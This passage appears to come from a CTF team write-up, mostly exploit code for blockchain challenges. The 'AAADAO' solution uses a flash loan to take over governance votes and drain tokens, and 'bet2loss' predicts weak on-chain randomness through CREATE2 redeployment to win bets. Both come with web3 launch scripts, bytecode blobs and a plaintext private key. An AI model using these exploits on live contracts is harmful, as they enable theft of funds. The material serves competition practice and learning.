            f.write(flag_bytes)
    elif header_bytes == b'\\xFD\\x37\\x7A\\x58':
        # decompress the flag xz
        with lzma.open('flag', 'rb') as f:
            flag_bytes = f.read()
        with open('flag', 'wb') as f:
            f.write(flag_bytes)
    else:
        break
```

Mahjoong

```
if (damanguan.length > 0){
        let a =
[240,188,218,205,188,154,138,200,207,33,26,246,30,136,124,38,241,178,193,127,163,161,72
,140,187,16,19];
        let b = [177, 255, 142, 139, 199, 227, 202, 163, 186, 76, 91, 152, 65, 185, 15,
121, 152, 220, 162, 13, 198, 197, 36, 191, 215, 117, 110];
        let c = new Array(27);
        for(var i = 0 ;i < 27; i++){
            c[i] = String.fromCharCode(a[i] ^ b[i]);
        }
        alert(c.join(''));

        return damanguan;
    }
```

safer-telegram-bot-1

```
import asyncio
from telethon import TelegramClient

# Use your own values from my.telegram.org
api_id = 10597681
api_hash = ''
from telethon import TelegramClient, events, sync
```

```
client = TelegramClient('anon', api_id, api_hash)

@client.on(events.MessageEdited(chats=-607364077))
async def my_event_handler(event):
    if event.raw_text == 'Preparing to login':
        print(event.stringify())
        # print(event.keyboard.stringify())
        await event.click(0)

client.start()
client.run_until_disconnected()
```

BlockChain

AAADAO

```
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156FlashBorrower.sol)

pragma solidity ^0.8.0;

interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * <https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729>
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
interface IERC3156FlashBorrower {
    /**
```

```
     * @dev Receive a flash loan.
     * @param initiator The initiator of the loan.
     * @param token The loan currency.
     * @param amount The amount of tokens lent.
     * @param fee The additional amount of tokens to repay.
     * @param data Arbitrary data structure, intended to contain user-defined
parameters.
     * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
     */
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32);
}
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * <https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified>[EIP
section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IGovernor is IERC165 {
    enum ProposalState {
        Pending,
        Active,
        Canceled,
        Defeated,
        Succeeded,
        Queued,
        Expired,
        Executed
    }

    /**
     * @dev Emitted when a proposal is created.
     */
    event ProposalCreated(
        uint256 proposalId,
        address proposer,
        address[] targets,
        uint256[] values,
        string[] signatures,
        bytes[] calldatas,
        uint256 startBlock,
        uint256 endBlock,
        string description
    );

    /**
     * @dev Emitted when a proposal is canceled.
     */
    event ProposalCanceled(uint256 proposalId);

    /**
     * @dev Emitted when a proposal is executed.
     */
    event ProposalExecuted(uint256 proposalId);

    /**
     * @dev Emitted when a vote is cast without params.
     *
     * Note: `support` values should be seen as buckets. Their interpretation depends
on the voting module used.
     */
    event VoteCast(address indexed voter, uint256 proposalId, uint8 support, uint256
weight, string reason);

    /**
     * @dev Emitted when a vote is cast with params.
     *
     * Note: `support` values should be seen as buckets. Their interpretation depends
on the voting module used.
     * `params` are additional encoded parameters. Their intepepretation also depends
on the voting module used.
     */
    event VoteCastWithParams(
        address indexed voter,
        uint256 proposalId,
        uint8 support,
        uint256 weight,
        string reason,
        bytes params
    );

    /**
     * @notice module:core
     * @dev Name of the governor instance (used in building the ERC712 domain
separator).
     */
    function name() external view virtual returns (string memory);
    /**
     * @notice module:core
     * @dev Version of the governor instance (used in building the ERC712 domain separator). Default: "1"
     */
    function version() external view virtual returns (string memory);

    /**
     * @notice module:voting
     * @dev A description of the possible `support` values for {castVote} and the way these votes are counted, meant to
     * be consumed by UIs to show correct vote options and interpret the results. The string is a URL-encoded sequence of
     * key-value pairs that each describe one aspect, for example `support=bravo&quorum=for,abstain`.
     *
     * There are 2 standard keys: `support` and `quorum`.
     *
     * - `support=bravo` refers to the vote options 0 = Against, 1 = For, 2 = Abstain, as in `GovernorBravo`.
     * - `quorum=bravo` means that only For votes are counted towards quorum.
     * - `quorum=for,abstain` means that both For and Abstain votes are counted towards quorum.
     *
     * If a counting module makes use of encoded `params`, it should  include this under a `params` key with a unique
     * name that describes the behavior. For example:
     *
     * - `params=fractional` might refer to a scheme where votes are divided fractionally between for/against/abstain.
     * - `params=erc721` might refer to a scheme where specific NFTs are delegated to vote.
     *
     * NOTE: The string can be decoded by the standard
     * <https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams[`URLSearchParams`]>
     * JavaScript class.
     */
    // solhint-disable-next-line func-name-mixedcase
    function COUNTING_MODE() external pure virtual returns (string memory);

    /**
     * @notice module:core
     * @dev Hashing function used to (re)build the proposal id from the proposal details..
     */
    function hashProposal(
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        bytes32 descriptionHash
    ) external pure virtual returns (uint256);

    /**
     * @notice module:core
     * @dev Current state of a proposal, following Compound's convention
     */
    function state(uint256 proposalId) external view virtual returns (ProposalState);

    /**
     * @notice module:core
     * @dev Block number used to retrieve user's votes and quorum. As per Compound's
Comp and OpenZeppelin's
     * ERC20Votes, the snapshot is performed at the end of this block. Hence, voting
for this proposal starts at the
     * beginning of the following block.
     */
    function proposalSnapshot(uint256 proposalId) external view virtual returns
(uint256);

    /**
     * @notice module:core
     * @dev Block number at which votes close. Votes close at the end of this block, so
it is possible to cast a vote
     * during this block.
     */
    function proposalDeadline(uint256 proposalId) external view virtual returns
(uint256);

    /**
     * @notice module:user-config
     * @dev Delay, in number of block, between the proposal is created and the vote
starts. This can be increassed to
     * leave time for users to buy voting power, of delegate it, before the voting of a
proposal starts.
     */
    function votingDelay() external view virtual returns (uint256);

    /**
     * @notice module:user-config
     * @dev Delay, in number of blocks, between the vote start and vote ends.
     *
     * NOTE: The {votingDelay} can delay the start of the vote. This must be considered
when setting the voting
     * duration compared to the voting delay.
     */
    function votingPeriod() external view virtual returns (uint256);
    /**
     * @notice module:user-config
     * @dev Minimum number of cast voted required for a proposal to be successful.
     *
     * Note: The `blockNumber` parameter corresponds to the snapshot used for counting vote. This allows to scale the
     * quorum depending on values such as the totalSupply of a token at this block (see {ERC20Votes}).
     */
    function quorum(uint256 blockNumber) external view virtual returns (uint256);

    /**
     * @notice module:reputation
     * @dev Voting power of an `account` at a specific `blockNumber`.
     *
     * Note: this can be implemented in a number of ways, for example by reading the delegated balance from one (or
     * multiple), {ERC20Votes} tokens.
     */
    function getVotes(address account, uint256 blockNumber) external view virtual returns (uint256);

    /**
     * @notice module:reputation
     * @dev Voting power of an `account` at a specific `blockNumber` given additional encoded parameters.
     */
    function getVotesWithParams(
        address account,
        uint256 blockNumber,
        bytes memory params
    ) external view virtual returns (uint256);

    /**
     * @notice module:voting
     * @dev Returns weither `account` has cast a vote on `proposalId`.
     */
    function hasVoted(uint256 proposalId, address account) external view virtual returns (bool);

    /**
     * @dev Create a new proposal. Vote start {IGovernor-votingDelay} blocks after the proposal is created and ends
     * {IGovernor-votingPeriod} blocks after the voting starts.
     *
     * Emits a {ProposalCreated} event.
     */
    function propose(
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        string memory description
    ) external virtual returns (uint256 proposalId);

    /**
     * @dev Execute a successful proposal. This requires the quorum to be reached, the
vote to be successful, and the
     * deadline to be reached.
     *
     * Emits a {ProposalExecuted} event.
     *
     * Note: some module can modify the requirements for execution, for example by
adding an additional timelock.
     */

    function emergencyExecuteRightNow(
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        bytes32 descriptionHash
    ) external payable virtual returns (uint256 proposalId);

    function execute(
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        bytes32 descriptionHash
    ) external payable virtual returns (uint256 proposalId);

    /**
     * @dev Cast a vote
     *
     * Emits a {VoteCast} event.
     */
    function castVote(uint256 proposalId, uint8 support) external virtual returns
(uint256 balance);

    /**
     * @dev Cast a vote with a reason
     *
     * Emits a {VoteCast} event.
     */
    function castVoteWithReason(
        uint256 proposalId,
        uint8 support,
        string calldata reason
    ) external virtual returns (uint256 balance);
    /**
     * @dev Cast a vote with a reason and additional encoded parameters
     *
     * Emits a {VoteCast} event.
     */
    function castVoteWithReasonAndParams(
        uint256 proposalId,
        uint8 support,
        string calldata reason,
        bytes memory params
    ) external virtual returns (uint256 balance);

    /**
     * @dev Cast a vote using the user's cryptographic signature.
     *
     * Emits a {VoteCast} event.
     */
    function castVoteBySig(
        uint256 proposalId,
        uint8 support,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external virtual returns (uint256 balance);

    /**
     * @dev Cast a vote with a reason and additional encoded parameters using the user's cryptographic signature.
     *
     * Emits a {VoteCast} event.
     */
    function castVoteWithReasonAndParamsBySig(
        uint256 proposalId,
        uint8 support,
        string calldata reason,
        bytes memory params,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external virtual returns (uint256 balance);
}
interface AAA is IERC20{
    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external;
    function delegate(address delegatee) external;
}

interface Gov is IGovernor{

}
contract test is IERC3156FlashBorrower{
    AAA addr_aaa = AAA(0xB3bd9369f0800f44AF65A7Cb6cDCd260d43a1Fc7);
    Gov addr_gov = Gov(0x90281424B4aC14Ff93260a5B24e7ca5DDc67E1AB);
    bytes32 constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
    uint256 proposalId;

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external override returns (bytes32){
        // step3 delegate here and ckpts[address(this)] becomes [{current_blockNum,flashLoan_amount}]
        call_delegate();
        // castVote to vote for address(this)
        addr_gov.castVote(proposalId,1);
        // execute the propose
        address[] memory targets=new address[](1); targets[0] =  address(this);
        uint256[] memory values=new uint256[](1);values[0]= 100000000 * 10 ** 18;
        bytes[] memory calldatas=new bytes[](1);calldatas[0] = abi.encodeWithSignature("atransfer()"); // transfer to address(this)
        bytes32 description = keccak256(bytes(""));
        addr_gov.emergencyExecuteRightNow(targets,values,calldatas,description);
        return _RETURN_VALUE;
    }
    // step2 flashLoan and triger attack
    function call_flashLoan() public {
        addr_aaa.approve(address(addr_aaa),type(uint256).max);

 addr_aaa.flashLoan(IERC3156FlashBorrower(address(this)),address(addr_aaa),300000000 * 10 ** 18,"");
    }
    event call_propose_event(string);
    // step1 propose and wait for 10 blocks
    function call_propose() public {
        address[] memory targets=new address[](1); targets[0] = address(this);
        uint256[] memory values=new uint256[](1);values[0]= 100000000 * 10 ** 18;
        bytes[] memory calldatas=new bytes[](1);calldatas[0] = abi.encodeWithSignature("atransfer()"); // transfer to address(this)
        string memory description = "";
        addr_gov.propose(targets,values,calldatas,description);
        emit call_propose_event("call_propose success");
    }
    function set_proposalId(uint256 _prosId) public {
        proposalId = _prosId;
    }
    function call_delegate() public {
        addr_aaa.delegate(address(this));
    }
    function atransfer() public {
        (bool success,) =
address(0xB3bd9369f0800f44AF65A7Cb6cDCd260d43a1Fc7).call(abi.encodeWithSignature("transfer(address,uint256)",msg.sender,100000000 * 10 ** 18));
        require(success,"attack call fail");
    }
}
from web3 import Web3, HTTPProvider

w3 = Web3(Web3.HTTPProvider('<http://123.60.90.204:8545>'))

priv_key = "802d86d9167f48b1c7f927f6247ccf56ed4c754b1be0b179867444f491a3a212"
my_account = w3.eth.account.from_key(priv_key)
print(my_account.address)
abi = [
  {
    "anonymous": False,
    "inputs": [
      {
        "indexed": False,
        "internalType": "string",
        "name": "",
        "type": "string"
      }
    ],
    "name": "call_propose_event",
    "type": "event"
  },
  {
    "inputs": [],
    "name": "call_delegate",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "call_flashLoan",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "call_propose",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "initiator",
        "type": "address"
      },
      {
        "internalType": "address",
        "name": "token",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      },
      {
        "internalType": "uint256",
        "name": "fee",
        "type": "uint256"
      },
      {
        "internalType": "bytes",
        "name": "data",
        "type": "bytes"
      }
    ],
    "name": "onFlashLoan",
    "outputs": [
      {
        "internalType": "bytes32",
        "name": "",
        "type": "bytes32"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "uint256",
        "name": "_prosId",
        "type": "uint256"
      }
    ],
    "name": "set_proposalId",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  }
]
bytecode =
0x608060405260008054600160016 0a01b031990811673b3bd9369f0800f44af65a7cb6cdcd260d43a1fc71
```

```
05bf576105bf610a97565b6001600160a01b039290921660209283029190910190910152604080516001808
252818301909252600091816020016020820280368337019050509050 6a52b7d2dcc80cd2e4000000816000
815181106106 1b5761061b610a97565b602090810291909101015260408051600180825281830190925260 0
091816020015b606081526020019060019003908161063d579050506040805160048152602481019091526 0
208101805160016001 60e01b0316637356d58960e01b1790528151919250908290600090610692576106926
10a97565b60209081029190910181019190915260408051918201815260008252600154905163 3eaf40f160
e11b8152600160016 0a01b0390911690637d5e81e2906106e390879087908790879060040161 0a13565b602
06040518083038160008 7803b158015610 6fd57600080fd5b505af1158015610711573d6000803e3d6000fd
5b50505050 6040513d601f19601f820116820180604052508101906107359190610 89e565b507f4828f5bb2
dfa35a5884e15d8a8acbe9637abfc685699bc0b33864f79de95e7896040516107 8c9060208082526014 9082
01527363616c6c5f70726f706f73652073756363657373 60601b6040820152606001 90565b604051809103 9
0a150505050 565b80356001600160a01b038116811461 07b157600080fd5b919050565b6000806000806000
8060a087890312156107cf57600080fd5b6107d88761079a565b955061 07e66020880161079a565b9450604
0870135935060608701359250608087013567ffffffffffffffff808211156108115760 0080fd5b81890191
5089601f830112610825576000 80fd5b813581811115610834576000 80fd5b8a6020828501011115610846 5
7600080fd5b602083019450809350505050929550929550929556 5b60006020828403121561086e57600080
fd5b8151801515811461087e57600080fd5b939250505056 5b600060208284031215610897576000 80fd5b5
035919050565b600060208284031215610 8b057600080fd5b5051919050565b60008151808452602080850 1
945080840160005b838110156108f05781516001600160a01b031687529582019590820190600101 6108cb5
65b509495945050505050565b6000815180845260208085018081965083600 51b810191508286016000 5b85
81101561094357828403895261093184835161098056 5b98850198935090840190600101610919565b50919
796505050505050505 65b60008151808452602080850194508084016000 5b838110156108f0578151875295
820195908201906001016109645 65b60008151808452610998816020860160208601610a6b565b601f01601
f1916929092016020019291505056 5b600082516109be8184602087016 10a6b565b919091019291505056 5b
6080815260006109db6080830187610 8b7565b828103602084015261 09ed81876109505 65b905082810360 4
0840152610a0181866108fb565b915050826060830152959450505050505 65b60808152600061 0a26608083
01876108b7565b82810360208401526 10a38818761095056 5b9050828103604084015261 0a4c81866108fb5
65b90508281036060840152610a6081856109805 65b979650505050505050505 65b60005b83811015610a8657
8181015183820152602001610a6e565b838111156103ad575050 6000910152565b634e487b7160e01b60005
2603260045260246000fdfea2646970667358221220 11fa67178054eac2d4502ce2b58d99efca295857f50f
a767343127828151efad64736f6c63430008070033

# # deploy
# newContract = w3.eth.contract(bytecode=bytecode, abi=abi)
# tx = newContract.constructor().buildTransaction()
# print(tx["data"])

def transact(tx):
    tx["chainId"] = w3.eth.chain_id
    signed_tx = my_account.sign_transaction(tx).rawTransaction
    txid = w3.eth.send_raw_transaction(signed_tx)
    print(txid.hex())

# transact(
#     {
#         "value": 0,
#         "nonce": w3.eth.get_transaction_count(my_account.address),
#         "gas": 3000000,
#         "from": my_account.address,
#         "gasPrice": 1,
#         "data": tx["data"],
#     },
# )

# call_propose
contract_addr = "0x5723A03536f066E5096d9CCfcFBC9EBbeD32DC19"
contract = w3.eth.contract(address=contract_addr,abi=abi)
# tx = contract.functions.call_propose().buildTransaction()
# print(tx["data"])

# transact(
#     {
#         "value": 0,
#         "nonce": w3.eth.get_transaction_count(my_account.address),
#         "gas": 3000000,
#         "from": my_account.address,
#         "to": contract_addr,
#         "gasPrice": 1,
#         "data": tx["data"],
#     },
# )

# # set pid
# pid = 0x6a73b8518d8c9f6b176c0d249c5da328f99354e9a05d6526012bd041be23cbce
# tx = contract.functions.set_proposalId(pid).buildTransaction()
# print(tx["data"])

# transact(
#     {
#         "value": 0,
#         "nonce": w3.eth.get_transaction_count(my_account.address),
#         "gas": 3000000,
#         "from": my_account.address,
#         "to": contract_addr,
#         "gasPrice": 1,
#         "data": tx["data"],
#     },
# )

# launch attack
tx = contract.functions.call_flashLoan().buildTransaction()
print(tx["data"])

transact(
    {
        "value": 0,
        "nonce": w3.eth.get_transaction_count(my_account.address),
        "gas": 3000000,
        "from": my_account.address,
        "to": contract_addr,
        "gasPrice": 1,
        "data": tx["data"],
    },
)
```

bet2loss

```
pragma solidity ^0.8.0;

contract Deployer {
    bytes public deployBytecode;
    address public deployedAddr;
    uint256 public nonce;
    uint256 public round;
    event deploy_addr(address);
    function deploy(bytes memory code,uint256 _nonce,uint256 _round) public {
        deployBytecode = code;
        nonce = _nonce;
        round = _round;
        address a;
        // Compile Dumper to get this bytecode
        bytes memory dumperBytecode =
hex'6080604052348015620000115760008 0fd5b50600033905060008173fffffffffffffffffffffffffff
ffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b15
80156200006057600080fd5b505afa15801562000075573d6000803e3d6000fd5b505050506040513d60008
23e3d601f19601f820116820180604052508101906200000a091906200055f565b905060008273ffffffffff
ffffffffffffffffffffffffffffff1663affed0e06040518163ffffffff1660e01b815260040160206040 5
18083038186803b158015620000eb57600080fd5b505afa15801562000100573d6000803e3d6000fd5b5050
50506040513d601f19601f82011682018060405250810190620001269190620005b0565b905060008373fff
ffffffffffffffffffffffffffffffffffff1663146ca5316040518163ffffffff1660e01b815260040160
206040518083038186803b1580156200017157600080fd5b505afa15801562000186573d6000803e3d6000f
d5b505050506040513d601f19601f82011682018060405250810190620001ac9190620005b0565b90506200
01c08282620001c860201b60201c565b825160208401f35b60007321ac0df70a628cdb042dde6f4eb6cf49b
de00ff7905060008173ffffffffffffffffffffffffffffffffffffffff166327e235e3306040518263ffff
ffff1660e01b81526004016200021e9190620006a1565b602060405180830381600087803b1580156200023
957600080fd5b505af115801562000 24e573d6000803e3d6000fd5b505050506040513d601f19601f820116
82018060405250810190620002749190620005b0565b905060007feb8f8e6e6aec6c492f2d95e709ac2e3d0
583d00beb28f62e0b1b014d4a7398f282604051620002a99190620006be565b60405180910390a160008414
156200031e578273ffffffffffffffffffffffffffffffffffffffff16633884d6356040518163ffffffff1
660e01b8152600401600060405180830381600087803b1580156200030457600080fd5b505af11580156200
0319573d6000803e3d6000fd5b505050505b6200032f856200047660201b60201c565b90508273fffffffff
fffffffffffffffffffffffffffffff16636ffcc71982600c6040518363ffffffff1660e01b815260040162
00036f9291906200 06db565b600060405180830381600087803b1580156200038a57600080fd5b505af1158
0156200039f573d6000803e3d6000fd5b505050508273ffffffffffffffffffffffffffffffffffffffff16
6327e235e3306040518263ffffffff1660e01b81526004016200 03de9190620006a1565b602060405180830
381600087803b158015620003f957600080fd5b505af115801562000 40e573d6000803e3d6000fd5b505050
506040513d601f19601f820116820180604052508101906200043491906200005b0565b91507feb8f8e6e6ae
c6c492f2d95e709ac2e3d0583d00beb28f62e0b1b014d4a7398f2826040516200046791906200006be565b60
405180910390a150505050505565b600080600c90506000818442443060405160200162000499949392919 06
200064b565b604051602081830303815290604052805190602001206000 1c620004be91906200085 7565b90
50809250505091905056 5b6000620004e1620004db846200073 1565b62000708565b9050828152602081018
48484011115620005005762000 4ff620008f2565b5b6200050d84828562000 7b9565b509392505050565b60
0082601f8301126200052d576200052c620008ed565b5b81516200053f84826020860162000 4ca565b91505
092915050565b60008151905062000559816200091f565b92915050565b60006020828403121562000 57857
62000577620008fc565b5b600082015167ffffffffffffffff81111562000599576200059862 0008f7565b5
b620005a784828501620005 15565b91505092915050565b60006020828403121562 0005c957620005c86200
08fc565b5b6000620005d984828501620005 48565b91505092915050565b620005ed8162000767565b82525
050565b62000608620006028262000767565b62000825565b82525050565b620006198162 0007a5565b8252
5050565b6200062a816200079b565b82525050565b62000645620006 3f826200079b565b6200084d565b825
25050565b60006200065982876200063 0565b6020820191506200066b828662000630565b60208201915062
00067d828562000630565b6020820191506200068f828462 0005f3565b6014820191508190509594505050 5
050565b600060208201905062000 6b8600083018462 0005e2565b92915050565b60006020820190506200 06
d5600083018462000 61f565b92915050565b600060408201905062000 6f2600083018562000 61f565b62000
7016020830184620006 0e565b9392505050565b600062000714620007 27565b905062000722828262000 7ef
565b919050565b6000604051905090565b600067ffffffffffffffff82111562000 74f576200074e620008b
e565b5b6200075a8262000901565b9050602081019050919050565b600062000774826200077b565b905091
9050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60008190509190 5
0565b6000620007b2826200079b565b9050919050565b60005b83811015620007d957808201518184015260
208101905062000 7bc565b83811115620007e957600084840152 5b50505050565b620007fa8262000901565
b810181811067ffffffffffffffff82111715620008 1c576200081b620008be565b5b80604052505050565b
6000620008328262000839565b9050919050565b6000620008468262000912565b9050919050565b6000819
050919050565b6000620008648262000 79b565b91506200087183620007 9b565b925082620008845762000 8
83620008 8f565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000
000000000000000060005260126004526024 6000fd5b7f4e487b71000000000000000000000000000000000
00000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b60008
0fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b6200092a816200079b565b
81146200093657600080fd5b5056fe';
        assembly {
            a := create2(callvalue(), add(0x20, dumperBytecode), mload(dumperBytecode),
0x9453)
        }
        deployedAddr = a;
        emit deploy_addr(deployedAddr);
        (bool success,) = deployedAddr.call(abi.encodeWithSignature("destroy()"));
        require(success,"call fail");
    }
}

interface BetToken{
    function airdrop() external;
    function bet(uint256,uint256) external;
    function balances(address) external returns(uint256);
}

contract Dumper {
    function get_rand(uint256 nonce) public view returns(uint256){
        uint256 mod = 12;
        uint256 rand = uint256(
            keccak256(
                abi.encodePacked(
                    nonce,
                    block.timestamp,
                    block.difficulty,
                    address(this)
                )
            )
        ) % mod;
        return rand;
    }
    event log_balance(uint256);
    function attack(uint256 nonce,uint256 round) public {
        BetToken target = BetToken(0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7);
        uint256 balance=target.balances(address(this));
        uint256 random;
        emit log_balance(balance);
        if(round == 0){
            target.airdrop();
        }
        random = get_rand(nonce);
        target.bet(random,12);
        balance = target.balances(address(this));
        emit log_balance(balance);
    }
    constructor() public {
        Deployer dp = Deployer(msg.sender);
        bytes memory bytecode = dp.deployBytecode();
        uint256 nonce = dp.nonce();
        uint256 round = dp.round();
        attack(nonce,round);
        assembly {
            return (add(bytecode, 0x20), mload(bytecode))
        }
    }
}

contract exp{
    function get_rand(uint256 nonce) public view returns(uint256){
        uint256 mod = 12;
        uint256 rand = uint256(
            keccak256(
                abi.encodePacked(
                    nonce,
                    block.timestamp,
                    block.difficulty,
                    address(this)
                )
            )
        ) % mod;
        return rand;
    }
    event log_balance(uint256);
    constructor(uint256 nonce) public{
        BetToken target = BetToken(0xd9145CCE52D386f254917e481eB44e9943F39138);
        uint256 balance=target.balances(address(this));
        uint256 random;
        emit log_balance(balance);
        target.airdrop();
        random = get_rand(nonce);
        target.bet(random,12);
        balance = target.balances(address(this));
        emit log_balance(balance);
        // selfdestruct(payable(0));
    }
}

contract another{
    event self(string);
    function destroy() public {
        emit self("selfdestruct");
        selfdestruct(payable(0));
    }
}
import sha3
from web3 import Web3, HTTPProvider

w3 = Web3(Web3.HTTPProvider('<http://123.60.36.208:8545>'))

priv_key = "802d86d9167f48b1c7f927f6247ccf56ed4c754b1be0b179867444f491a3a212"
my_account = w3.eth.account.from_key(priv_key)

# print(my_account.address)
abi = [
  {
    "anonymous": False,
    "inputs": [
      {
        "indexed": False,
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "name": "deploy_addr",
    "type": "event"
  },
  {
    "inputs": [
      {
        "internalType": "bytes",
        "name": "code",
        "type": "bytes"
      },
      {
        "internalType": "uint256",
        "name": "_nonce",
        "type": "uint256"
      },
      {
        "internalType": "uint256",
        "name": "_round",
        "type": "uint256"
      }
    ],
    "name": "deploy",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "deployBytecode",
    "outputs": [
      {
        "internalType": "bytes",
        "name": "",
        "type": "bytes"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "deployedAddr",
    "outputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "nonce",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "round",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  }
]
bytecode =
0x608060405234801561001057600080fd5b50611269806100206000396000f3fe608060405234801561001
057600080fd5b50600436106100575760003560e01c8063146ca5311461005c57806331d191661461007a57
806391e7e5b41461009857806 3affed0e0146100b4578063d1524f74146100d2575b600080fd5b610064610
0f0565b60405161007191906106ac565b60405180910390f35b6100826100f6565b60405161008f91906106
6a565b60405180910390f35b6100b26004803603810190610 0ad919061051e565b610184565b005b6100bc6
103ca565b6040516100c991906106ac565b60405180910390f35b6100da6103d0565b6040516100e7919061
064f565b60405180910390f35b60035481565b600080546101039061 07d3565b80601f0160208091040260 2
00160405190810160405280929190818152602001828054610 12f906107d3565b801561017c5780601f1061
0151576101008083540402835291602001916101 7c565b820191906000526020600020905b8154815290600
1019060200180831161015f57829003601f168201915b50505050505081565b82600090805190602001906101
9a9291906103f6565b5081600281905550806003819055506000806040518061096001604052806109 3a815
26020016108fa61093a91399050619453815182602001 34f5915081600160006101000a81548173ffffffff
ffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160
2179055507f573fc86bc4f5ed8d7250fbeebeef1a9678861dc81694ddb08b5b82a4bb3bb72660016000905 4
906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610269919061064f565b604
05180910390a160006001600090549061010 00a900473ffffffffffffffffffffffffffffffffffffffff16
73ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527
f83197ef000000000000000000000000000000000000000000000000000000000007bffffffffffffffffffff
ffffffffffffffffffffffffffffffffffff19166020820180517bfffffffffffffffffffffffffffffffff
```

```
fffffffffffffffffffffff838183161783525050505060405161033c9190610638565b6000604051808303
816000865af19150503d8060008114610379576040519150601f19603f3d011682016040523d82523d60006
02084013e61037e565b606091505b50509050806103c2576040517f08c379a00000000000000000000000000
000000000000000000000000000000081526004016103b99061068c565b60405180910390fd5b505050505
050565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff
1681565b828054610402906107d3565b90600052602060002090601f0160209004810192826104245760008
55561046b565b82601f1061043d57805160ff191683800117855561046b565b828001600101855582156104
6b579182015b828111561046a57825182559160200191906001019061044f565b5b5090506104789190610
47c565b5090565b5b80821115610495576000816000905550600101610 47d565b5090565b60006104ac6104
a7846106ec565b6106c7565b9050828152602081018484840111156104c8576104c7610899565b5b6104d38
48285610791565b509392505050565b600082601f8301126104f0576104ef610894565b5b81356105008482
60208601610499565b91505092915050565b600081359050610518816108e2565b92915050565b600080600
0606084860312156105375761053661 08a3565b5b600084013567ffffffffffffffff811115610555576105
5461089e565b5b61056186828701610 4db565b935050602061057286828701610509565b925050604061058
386828701610509565b9150509250925092565b610596816107555 65b82525050565b60006105a78261071d
